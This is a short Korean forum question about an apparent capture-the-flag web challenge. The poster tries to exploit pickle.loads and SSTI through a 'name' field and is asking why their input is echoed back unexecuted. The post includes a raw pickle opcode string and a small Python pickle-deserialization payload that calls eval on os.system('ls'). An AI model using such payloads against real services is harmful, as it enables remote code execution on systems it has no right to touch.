완료됨
(해결)
name에다 os.system('ls') 하였더니 check_session에서 os.system 그래도 출력이 됩니다.
return render_template('check_session.html', info=info) 이부분에서 매개변수로 전달된것은 문자열형태로 변환이 되어서 출력이 되는건가요?
그럴수도 있을것 같아서
다시 name에다 cos\nsystem\n(S'ls\ntR. 을 다시 주었지만 역시 코드 그대로 출력을 합니다.
또 다른 방법으로
import pickle
import base64
import os
class exploit:
def reduce(self):
str = "os.system('ls')"
return (eval, (str,))
data = pickle.dumps(exploit())
data = base64.b64encode(data)
print(data)
를 작성하고 base64로 엔코딩 한 값을 다시 name에다 주었지만 또 코드 그대로 출력합니다.
혹시 ssti를 할수 있을지 몰라 {{ info }} 등을 해보았지만 전혀 통하지 않습니다.
코드를 그대로 출력된다는점이 도저히 안풀립니다.
제가 방향을 잘못잡은건가요?
pickle.loads 빼곤 특별한게 안보입니다.
#web
작성자 정보